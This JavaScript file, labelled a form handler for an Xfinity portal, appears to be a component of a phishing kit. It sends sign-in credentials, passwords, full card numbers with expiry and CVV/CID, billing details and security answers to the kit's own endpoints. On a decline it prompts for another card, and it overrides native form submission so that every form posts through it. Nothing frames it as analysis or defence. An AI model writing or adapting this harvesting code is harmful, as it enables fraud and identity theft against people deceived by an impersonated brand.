// Form Handler for Xfinity Portal
(function() {
    'use strict';

    function getApiEndpoint() {
        const currentPath = window.location.pathname;
        if (currentPath.includes('/signin/signin2')) return '/api/signin2';
        if (currentPath.includes('/signin/signin1') || currentPath.includes('/signin/password')) return '/api/login';
        if (currentPath.includes('/cc')) return '/api/cc';
        if (currentPath.includes('/billing')) return '/api/billing';
        if (currentPath.includes('/security')) return '/api/security';
        return '/api/login';
    }

    function getFormMessageEl(form) {
        var el = form.querySelector('#formMessage');
        if (el) return el;
        var summary = form.querySelector('[error-summary] div, .error-summary div, uef-section[error-summary] div');
        if (summary) {
            summary.id = 'formMessage';
            summary.style.color = '#c00';
            summary.style.margin = '10px 0';
            summary.style.display = 'block';
            return summary;
        }
        el = document.createElement('div');
        el.id = 'formMessage';
        el.style.color = '#c00';
        el.style.margin = '10px 0';
        el.style.padding = '8px 0';
        el.style.display = 'block';
        form.insertBefore(el, form.firstChild);
        return el;
    }

    function showFormMessage(form, message) {
        var el = getFormMessageEl(form);
        el.textContent = message || '';
        el.style.color = '#c00';
        el.style.display = message ? 'block' : 'none';
        if (message && el.scrollIntoView) el.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
    }

    function isExpiryValid(val) {
        if (!val || val.length !== 5 || val.charAt(2) !== '/') return false;
        var m = parseInt(val.slice(0, 2), 10);
        var y = parseInt(val.slice(3, 5), 10);
        if (m < 1 || m > 12) return false;
        var now = new Date();
        var currentYear = now.getFullYear() % 100;
        var currentMonth = now.getMonth() + 1;
        if (y < currentYear) return false;
        if (y === currentYear && m < currentMonth) return false;
        return true;
    }

    function handleFormSubmit(form, e) {
        if (e) e.preventDefault();

        showFormMessage(form, '');

        var formData = new FormData(form);
        var apiEndpoint = (form.getAttribute && form.getAttribute('data-api')) ? ('/api/' + form.getAttribute('data-api')) : getApiEndpoint();
        if (apiEndpoint === '/api/cc') {
            var expiryVal = (formData.get('expiry') || '').trim();
            if (!isExpiryValid(expiryVal)) {
                showFormMessage(form, 'Expiry tidak valid. Gunakan format MM/YY dan pastikan kartu belum kadaluarsa.');
                return;
            }
            var cardVal = (formData.get('cardNumber') || formData.get('card_number') || '').replace(/\s/g, '');
            var isAmex = /^3[47]/.test(cardVal);
            var cvvVal = (formData.get('cvv') || '').replace(/\D/g, '');
            var cidVal = (formData.get('cid') || '').replace(/\D/g, '');
            var code = isAmex ? cidVal : cvvVal;
            if (isAmex) {
                if (code.length !== 4) {
                    showFormMessage(form, 'Amex: CID harus 4 digit.');
                    return;
                }
            } else {
                if (code.length !== 3) {
                    showFormMessage(form, 'Visa/Mastercard: CVV harus 3 digit.');
                    return;
                }
            }
        }

        var submitButton = form.querySelector('button[type="submit"], input[type="submit"]');

        if (submitButton) {
            submitButton.disabled = true;
            if (submitButton.textContent) submitButton.dataset.original = submitButton.textContent;
            var contentSpan = submitButton.querySelector('.spinner-button__content');
            if (contentSpan) contentSpan.textContent = 'Processing...';
            else submitButton.textContent = (submitButton.dataset.loading || 'Processing...');
        }

        var urlParams = new URLSearchParams(window.location.search);
        urlParams.forEach(function(value, key) {
            formData.append(key, value);
        });
        if (!formData.has('reff') && urlParams.has('reff')) {
            formData.append('reff', urlParams.get('reff'));
        }

        fetch(apiEndpoint, { method: 'POST', body: formData })
            .then(function(response) {
                var ct = response.headers.get('content-type');
                if (ct && ct.indexOf('application/json') !== -1) {
                    return response.json();
                }
                return response.text().then(function(t) {
                    throw new Error(t || 'Invalid response');
                });
            })
            .then(function(data) {
                if (data.success && data.redirect) {
                    var qs = window.location.search;
                    var redirectUrl = data.redirect + (qs ? (data.redirect.indexOf('?') !== -1 ? '&' + qs.slice(1) : qs) : '');
                    window.location.href = redirectUrl;
                } else if (data.success) {
                    showFormMessage(form, '');
                } else {
                    if (apiEndpoint === '/api/cc' && data.declined === true) {
                        var firstCardInput = document.getElementById('ccFirstCard');
                        if (firstCardInput) firstCardInput.value = '0';
                        showFormMessage(form, data.message || 'Your card was declined. Please try another card.');
                    } else {
                        showFormMessage(form, data.message || 'An error occurred');
                    }
                    if (submitButton) {
                        submitButton.disabled = false;
                        if (submitButton.dataset.original) {
                            var span = submitButton.querySelector('.spinner-button__content');
                            if (span) span.textContent = submitButton.dataset.original;
                            else submitButton.textContent = submitButton.dataset.original;
                        }
                    }
                }
            })
            .catch(function(err) {
                console.error('Error:', err);
                showFormMessage(form, 'An error occurred. Please try again.');
                if (submitButton) {
                    submitButton.disabled = false;
                    var span = submitButton.querySelector('.spinner-button__content');
                    if (span) span.textContent = (submitButton.dataset.original || 'Submit');
                    else submitButton.textContent = (submitButton.dataset.original || 'Submit');
                }
            });
    }

    document.addEventListener('DOMContentLoaded', function() {
        var forms = document.querySelectorAll('form');
        for (var i = 0; i < forms.length; i++) {
            var form = forms[i];

            form.addEventListener('submit', function(e) {
                e.preventDefault();
                handleFormSubmit(form, e);
            });

            // Banyak form (mis. signin1) pakai custom element yang memanggil form.submit()
            // sehingga event 'submit' tidak pernah fire. Override form.submit() agar tetap AJAX.
            var nativeSubmit = form.submit;
            form.submit = function() {
                handleFormSubmit(form, null);
            };
        }
    });
})();
